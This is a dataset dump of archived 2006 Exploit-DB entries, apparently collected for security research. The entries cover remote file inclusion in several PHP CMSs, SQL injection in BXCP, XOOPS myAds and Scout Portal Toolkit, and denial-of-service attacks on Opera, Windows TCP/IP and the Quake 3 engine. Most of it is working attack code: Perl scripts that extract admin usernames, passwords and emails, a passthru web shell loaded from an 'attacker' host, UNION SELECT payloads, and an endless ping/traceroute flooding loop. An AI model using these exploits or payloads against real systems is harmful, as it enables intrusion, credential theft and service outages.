QLWD/code_shield huggingface dataset:
标题: Plume CMS 1.1.3 - 'dbinstall.php' Remote File Inclusion EDB-ID: 1970 CVE: 2006-7021 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-01 漏洞利用脚本: /*------------------------------------------------
               IHS Public advisory
-------------------------------------------------*/

Plume CMS Remote File Inclusion

It uses PHP and MySql. With a single installation of
Plume you can have
multiple websites, file management, multiple authors
with different rights and websites in any languages
thanks to a full utf-8 support.
Plume CMS proposes a flexible plugin infrastructure to
extend it and is fully accessible with output
providing standard compliant code by default.
http://plume-cms.net


Discovered by Hamid Ebadi
Credit : all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
       Plume CMS 1.1.3


Vulnerable Code :

[path]/plume-1.1.3/plume/manager/tools/link/dbinstall.php //Vulnerable Code :line 39
require_once $_PX_config['manager_path'].'/inc/class.checklist.php';
require_once $_PX_config['manager_path'].'/extinc/class.xmlsql.php';



Exploits:

The following URL will cause the server to include external files
http://localhost/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls -al&_PX_config[manager_path]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly
verified.

greeting :
LorD , NT , C0d3r of IHS

# milw0rm.com [2006-07-01] URL: https://www.exploit-db.com/exploits/1970
标题: Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion EDB-ID: 1971 CVE: 2006-3375 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-01 漏洞利用脚本: Title       : randshop <= 1.1.1 Remote File Inclusion Vulnerability
-
URL         : http://www.randshop.com/
-
Author      : OLiBekaS
-
contact     : olibekas[at]gmail.com
-
dork        : "software 2004-2005 by randshop"
-
exploit     : http://[target]/[path]/includes/header.inc.php?dateiPfad=http://[attacker]/cmd.txt?&cmd=ls
-
greatz      : Renzokuzen, skulmatic, sikunYuk, ulga, bigmaster, cgibin, weleh, and all #papmahackerlink crew
-

# milw0rm.com [2006-07-01] URL: https://www.exploit-db.com/exploits/1971
标题: Opera Web Browser 9.00 - 'iframe' Remote Denial of Service EDB-ID: 1972 CVE: 2006-3353 类型: DOS 平台: MULTIPLE 发布日期: 2006-07-01 漏洞利用脚本: <!-- Opera 9 DOS exploit, discovered by 
     Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) 
     http://y3d1ps.blogspot.com
//-->

<html>
<iframe src="palsu.php" name="fake"  ></iframe> 
<script type="text/javascript">
function mystyle() {
    if (fake.document.styleSheets.length == 1 ) 
 {
      f = document.forms["basicstyle"].elements;
      for (j = 0; j < f.length; j++) 
    {
        if (f[j].name == 'fsmain');
       }  
      }

 }
mystyle();
</script>
</html>

<!-- live exploit :
     http://y3dips.echo.or.id/opera9-dos/
//-->

# milw0rm.com [2006-07-01] URL: https://www.exploit-db.com/exploits/1972
标题: BXCP 0.3.0.4 - 'where' SQL Injection EDB-ID: 1975 CVE: 2006-3394 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-02 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;

print q{
-------------------------------------------------------------------------------------
BXCP exploit by x23 ~ curse-crew.de ~ geekbar.cx.la ~ geeknet.uttx.net
use: bxcp.pl [server] [dir] [id]
sample:
$ perl bxcp.pl bxcp.com / 1
~ connecting
~ exploiting
~ hash: *censored* ;D
-------------------------------------------------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die "~ read how to use ;)\n"; }

$get = "http://".$webpage.$directory."index.php?mod=files&action=view&where=-1+UNION+";
$get .= "SELECT+users_nick,0,users_pwd,0,0,0,0,0,0,0,0,0,0,0,0+FROM+{pre}_users+WHERE+users_id=";
$get .= $vic_id;

print "~ connecting\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "~ exploiting\n";
print $sock "GET $get HTTP/1.1\n";
print $sock "Host: $webpage\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
  #print $answer;
  if ($answer =~ /([0-9a-f]{32})\n/) {
     print "~ hash: $1\n";
     break;
  }
}

close($sock);

# milw0rm.com [2006-07-02] URL: https://www.exploit-db.com/exploits/1975
标题: SmartSite CMS 1.0 - 'root' Multiple Remote File Inclusions EDB-ID: 1974 CVE: 2006-3421 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-01 漏洞利用脚本: smartsite cms  v1.0 Multiple Remote File include
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
-------------------------------------------------
site of script:www.smartsitecms.net
-------------------------------------------------
Vulnerable: smartsite cms  v1.0
-------------------------------------------------
vulnerable code:
----------------------
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
3-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
4-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------
$root parameter File include
-----------------------------------------------------------------------------------------------------------------------------------------
vulnerable files  :
--------------------
comment.php
/admin/test.php
/admin/index.php
/admin/include/inc_adminfoot.php
-------------------------------------------------
example:
www.example.com/(path)/admin/test.php?root=http://evilcode.txt?
www.example.com/(path)/comment.php?root=http://evilcode.txt?
www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=http://evilcode.txt?
www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilcode.txt?
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
E-mail:KARKOR23@hotmail.com
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3, mr-hcr AND ALL LEZR.COM Member

# milw0rm.com [2006-07-01] URL: https://www.exploit-db.com/exploits/1974
标题: Stud.IP 1.3.0-2 - Multiple Remote File Inclusions EDB-ID: 1969 CVE: 2006-3361 类型: WEBAPPS 平台: PHP 发布日期: 2006-07-01 漏洞利用脚本: /*------------------------------------------------
               IHS Public advisory
-------------------------------------------------*/

Stud.IP Remote File Inclusion
Stud.IP is a learning and an information management
system for universities, educational facilities and
enterprises.

http://www.studip.de
http://www.data-quest.de
http://www.sourceforge.net/projects/studip


Discovered by Hamid Ebadi Credit :
all go to IHS team (IHS : IRAN HOMELAND SECURITY)
www.ihsteam.com (persian)
www.ihsteam.net (english)


The original article can be found at:
http://www.hamid.ir/security/
http://www.IHSteam.com

Vulnerable Systems:
       studip 1.3.0-2 and below


Input passed to the "_PHPLIB[libdir]" parameter in
studip-phplib/oohforms.inc and to the
"ABSOLUTE_PATH_STUDIP"  parameter in
studip-htdocs/archiv_assi.php is not properly verified
before being used to include files.
This can be exploited to execute arbitrary PHP code by
including files from local or external resources.

POC Exploits:

The following URL will cause the server to include
external files
http://localhost/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://attacker/cmd.gif?
http://localhost/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly verified.


greeting :
LorD , NT , C0d3r of IHS

# milw0rm.com [2006-07-01] URL: https://www.exploit-db.com/exploits/1969
标题: Microsoft Windows - TCP/IP Protocol Driver Remote Buffer Overflow EDB-ID: 1967 CVE: 2006-2379 类型: DOS 平台: WINDOWS 发布日期: 2006-06-30 漏洞利用脚本: /*

####################################
# 
# Windows TCP/IP source routing poc
# C version...
#
# by Preddy
#
# RootShell Security Group
#
# Shoutz 2: 
#
#  Jimmy and ByteCoder + 
#  Rs Crew + 
#  Rest of the world :D
#
#
####################################

Compile:

gcc win-tcpip-dos.c -o wintcpipdos

Info:

Published:     14.06.2006
Source:        ANDREYMINAEV
Type:          remote
Level:         9/10

Buffer overflow on ICMP packets with 
Loose Source and Record Route IP options. 
Short message translation: There are DoS 
conditions in Windows 2000 built-in NAT 
server. Tested configuration: Windows 2000 
English Standard/Advanced Service Pack 4 
+ Update Rollup 1 for Service Pack 4 with 
NAT server enabled. While routing packets 
with options "Loose Source and Record Route" 
defined by RFC 791 through server, Windows 
crashes to BSOD with error in tcpip.sys or 
ntoskrnl.exe, or system hangs or system 
began instable work. It doesn't metter if 
packets are from internal or external 
networks. Use attached script to test 
vulnerability. On Windows 2003 problem 
doesn't present. It's also likely same 
problem to present in Windows 2000 + 
ISA 2000. Code execution is potentially possible.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char *argv[])
{

char dos_ip[255];
char mysystem[10];
char ping[20+1];
char trace[100];


if(argc != 3)
{

printf("\n\nWindows TCP/IP source routing Dos - by Preddy\n");
printf("Usage: %s <ip> <mysystem>\n", argv[0]);
printf("Example: %s 127.0.0.1 linux\n", argv[0]);
printf("Uses the ping and the traceroute utility on your system\n", argv[0]);
printf("Should cause a BSOD on the remote system\n");
printf("More info: http://www.security.nnov.ru/Fnews753.html\n\n");
exit(1);
}

strcpy(dos_ip, argv[1]);
strcpy(mysystem, argv[2]);


if((strcmp (argv[2],"linux"))==0)
{

printf("\nTarget: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n\n");


strcpy(ping, "ping -c 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "traceroute -m 1 -g 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

if((strcmp (argv[2],"windows"))==0)
{

printf("Target: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n");


strcpy(ping, "ping -n 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "tracert -h 1 -j 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

}

// milw0rm.com [2006-06-30] URL: https://www.exploit-db.com/exploits/1967
标题: GeekLog 1.4.0sr3 - '_CONF[path]' Remote File Inclusion EDB-ID: 1963 CVE: 2006-6225 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-29 漏洞利用脚本: --------------------------------------------------------------------------- 
GeekLog <= 1.4.0 (_CONF[path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Google d0rk: "powered by geeklog"


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : GeekLog  
version : latest version [ 1.4 ]
URL : http://www.geeklog.net/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

were [path] on some cases => www.site.com/[path]/public_html/index.php

# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script]
#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script]




---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $_CONF[path]
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-29] URL: https://www.exploit-db.com/exploits/1963
标题: XOOPS myAds Module - 'lid' SQL Injection EDB-ID: 1961 CVE: 2006-3341 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-28 漏洞利用脚本: #######################################
# Xoops myAds module SQL-Injection
# Discovered: KeyCoder <Turkish Coder>
# Visit :     www.grisapka.org
# Contact:    keycoder@msn.com
# Thanx:      SecretlyX-BeLa
#######################################
---------------------------------------
# Details  :
# Xoops myAds module SQL-Injection Vulnerability
# Website : http://www.xoops.org/
# Vulnerable File : annonces-p-f.php
# PoC : http://host/path/modules/myAds/annonces-p-f.php?op=[SQL]
---------------------------------------

Vulnerability:

SQL-injection

http://www.site.com/modules/myAds/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12,13+from+xoops_users+limit+1,1/*

# milw0rm.com [2006-06-28] URL: https://www.exploit-db.com/exploits/1961
标题: Quake 3 Engine Client - 'CG_ServerCommand()' Remote Overflow EDB-ID: 1976 CVE: 2006-3400 2006-3325 2006-3324 类型: DOS 平台: WINDOWS 发布日期: 2006-07-02 漏洞利用脚本: /*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
 char *pVersionString;
 DWORD dwVersionStringAddr;
 DWORD dwSendServerCommandAddr;
 DWORD dwFillSize;
 DWORD dwNewEIP;
};

VersionStruct Versions[] = {
 { "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 }, //SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
 char szString[4096];
 char *pPtr = NULL;

 if(pVersion != NULL)
 {
  memset(szString, 0, sizeof(szString));
  pPtr = &szString[0];

  memset(pPtr, 'a', pVersion->dwFillSize);
  pPtr += pVersion->dwFillSize;

  memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
  pPtr += sizeof(DWORD);

  orig_SV_SendServerCommand(pCl, szString);
 }
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
 if(dwReason == DLL_PROCESS_ATTACH)
 {
  for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
  {
   if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
   {
    pVersion = &Versions[i];
    break;
   }
  }

  if(pVersion == NULL)
  {
   //Could not find correct version
   return 1;
  }

  DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
  _asm mov [orig_SV_SendServerCommand], eax
 }

 return 1;
}

// milw0rm.com [2006-07-02] URL: https://www.exploit-db.com/exploits/1976
标题: Mambo Component Pearl 1.6 - Multiple Remote File Inclusions EDB-ID: 1956 CVE: 2006-3340 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-27 漏洞利用脚本: --------------------------------------------------------------------------- 
Pearl For Mambo <= 1.6 (GlobalSettings[templatesDirectory]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Pearl For Mambo 
version : latest version [ 1.6 ]
Description: component for mambo
URL : http://www.pearlinger.com

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $GlobalSettings[templatesDirectory] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/includes/functions_cms.php?phpbb_root_path=[evil_script] 
# http://www.site.com/[path]/includes/adminSensored.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBoards.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminBanned.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminForums.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminPolls.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/poll.php?GlobalSettings[templatesDirectory]=[evil_script]
# http://www.site.com/[path]/includes/move.php?GlobalSettings[templatesDirectory]=[evil_script]


---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $[evil_script]
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-27] URL: https://www.exploit-db.com/exploits/1956
标题: Scout Portal Toolkit 1.4.0 - 'forumid' SQL Injection EDB-ID: 1957 CVE: 2006-3309 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-27 漏洞利用脚本: #!/usr/bin/perl
#===============================================================
#    Scout Portal Toolkit 1.4.0 Remote SQL injection Exploit 
#    Coded By Simo64
#    Moroccan Security Research Team
#   Specials thx to :Greetz : 

#  CiM-Team - CrAsH_oVeR_rIdE -  dabdoub - damip - DarkbiteX - drackanz - Iss4m -  megamati 
#  Mourad - Preddy -Rachid - RapYaS - r00tkita - S4mi - secteura - Silitix - tahati - And All Freinds !
#===============================================================

# Details  :
#  Scout Portal Toolkit 1.4.0 Remote SQL injection Vulnerability
#  Website : http://scout.wisc.edu/Projects/SPT/
#  Vulnerable File : SPT--ForumTopics.php

#  PoC : http://host/path/SPT--ForumTopics.php?forumid=[SQL]
#  Exemple :
#  This  will display admin name and password
#  Exploit : http://victime/path/SPT--ForumTopics.php?forumid=-9+UNION+SELECT+null,UserName,UserPassword,33,44,55+FROM+APUsers+WHERE+UserId=1
#  The exploit will work regardless of magic_quotes_gpc is set or not
#==============================================================


use LWP::Simple;

print "\n===============================================================";
print "\n=  Scout Portal Toolkit <= 1.4.0 Remote SQL injection Exploit =";
print "\n=             Discovred & Coded By Simo64                     =";

print "\n=           Moroccan Security Research Team                   =";
print "\n===============================================================\n\n";

my($targ,$path,$userid,$xpl,$xpl2,$data,$data2,$email);

       print "Enter Traget Exemple: http://site.com/ \nTraget : ";
       chomp($targ = <STDIN>);
       print "\n\nEnter Path TO Portal exemple:  /SPT/ OR just / \nPath : ";

       chomp($path=<STDIN>);
       print "\n\nEnter userid  Exemple: 1\nUserID :  ";
       chomp($userid=<STDIN>);

$xpl1="-9+UNION+SELECT+null,UserName,UserPassword,null,null,null+FROM+APUsers+WHERE+UserId=";

$xpl2="-9+UNION+SELECT+null,Email,null,null,null,null+FROM+APUsers+WHERE+UserId=";
print "\n[+] Connecting to: $targ\n";
$data = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl1.$userid) || die "\n[+]Connexion Failed!\n";

$data2 = get($targ.$path."SPT--ForumTopics.php?forumid=".$xpl2.$userid) || die "\n[+]Connexion Failed!\n";
print "\n[+] Connected !\n";
print "[+] Sending Data to $targ ....\n\n";


$username=substr($data,index($data,"<h1>")+11,index($data,"</h1>")-12);
chomp $username;

$password=substr($data,index($data,"</h1>")+34,index($data,"</p>")-index($data,"</h1>")-34);

chomp $password;

$email=substr($data2,index($data,"<h1>")+11,index($data2,"</h1>")-12);
chomp $email;

if(length($password) <= 34){
print "[!]Exploit Succeded !\n********************\n\n=========  UserID = $userid Infos =======";

print "\n= UserID   : ".$userid;
print "\n= Username : ".$username;
print "\n= Password : ".$password;
print "\n= Email    : ".$email;
print "\n===================================\n\nEnjoy !";

}
else {print "\n[!] Exploit Failed !";}

# milw0rm.com [2006-06-27] URL: https://www.exploit-db.com/exploits/1957
标题: phpMySms 2.0 - 'ROOT_PATH' Remote File Inclusion EDB-ID: 1948 CVE: 2006-3300 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-24 漏洞利用脚本: PhpMySms <= V2.0 (ROOT_PATH) Remote File Include Vulnerability
URL : Http://www.phpmysms.com
 
Author=Persian-Defacer
www.Hacking-Boys.com
==============================================================
if (($_POST[mode] == "1") or ($_GET[mode] == "1")) {
include ("config.php");
} else {
include ("$ROOT_PATH/config.php");
}
==============================================================


Exploit : http://[site]/[sms location]/sms_config/gateway.php?ROOT_PATH=[evil_script]

# milw0rm.com [2006-06-24] URL: https://www.exploit-db.com/exploits/1948